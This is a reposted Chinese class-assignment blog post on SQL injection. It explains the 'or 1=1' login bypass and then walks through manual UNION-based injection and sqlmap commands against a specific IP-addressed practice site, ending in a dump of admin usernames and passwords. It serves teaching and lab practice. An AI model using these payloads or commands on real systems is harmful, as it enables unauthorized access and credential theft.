zoukankan      html  css  js  c++  java
  • sql注入基础知识

    信息安全概论课堂作业

    SQL注入之万能密码漏洞

    第一道题是牵扯到了万能密码漏洞

    用户名先输入个’

     

    返回了sql报错语句,猜测存在sql注入漏洞

    使用万能密码测试

    登陆成功

    原理

    假设登录框处的判断代码如下:

    1
    SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"';

    在账号框中输入admin'or 1=1 #,密码随便输,sql语句就变成了:

    1
    SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符';

    符号’将语句闭合

    #号将admin' or 1=1后面的语句注释

    剩下有效的sql代码变成了

    1
    SELECT * FROM admin where name='admin' or 1=1;

    这段代码意思就是 ‘admin’ or 1=1 (真 or 真)是一个恒为真的判断

    服务器收到了返回真的验证,就绕过了登录

    防止方法

    1.字符转义

    2.字符替换

    3.百度如何预防SQL注入

    SQL注入之字符型注入

    利用手动注入

    打开网站看到网址有个id参数

    判断注入类型

    输入id=1 and 1=1# 页面正常

    输入id=1 and 1=2# 页面出现异常

    猜测为数字注入

    判断字段数

    输入id=1 order by 2# 页面正常

    输入id=1 order by 3# 页出出现异常

    得知有两个字段

    判断字段回显位置

    输入

    1
    id=1 and 1=2 union select 1,2#

    查看字段位置

    查看数据库名

    输入

    1
    id=6666 union select 1,database()#

    出现数据库名字:maoshe

    查看表名

    输入

    1
    id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

    出现了很多表名

    查看字段名

    我们需要的是admin表

    输入

    1
    id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

    看到了字段名id、username、password

    查看字段里的数据

    输入

    1
    id=6666 union select 1,group_concat(id,":",username,":",password) from admin#

    看到了管理员用户名和密码

    利用sqlmap工具注入

    检查注入点:

    1
    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

     

    爆数据库的信息:

    1
    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

    爆当前数据库信息:

    1
    2
    3
    4
    5
    6
    7
    8
    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db
    ```
    ![你想输入的替代文字](信息安全概论课堂作业/4.png)

    ### 指定库名列出所有表

    ```php
    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe --table

    指定库名表名列出所有字段

    1
    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin --column

    指定库名表名字段dump出指定字段

    python .sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin -C username password --dump
    

    内容来自于

    http://reb0rn.design/2019/10/13/信息安全概论课堂作业/

  • 相关阅读:
    了解jQuery Validate.JS后不用再为正则验证头疼
    Javascripty(数组字符串篇)
    Javascripty(中篇)
    javascript(入门篇)
    Git与Github(初基础)
    解释ajax的工作原理
    rem是什么
    图片懒加载
    Angular中使用Swiper不能滑动的解决方法
    关于Iscroll.js 的滑动和Angular.js路由冲突问题
  • 原文地址:https://www.cnblogs.com/ainv-123/p/11705777.html
Copyright © 2011-2022 走看看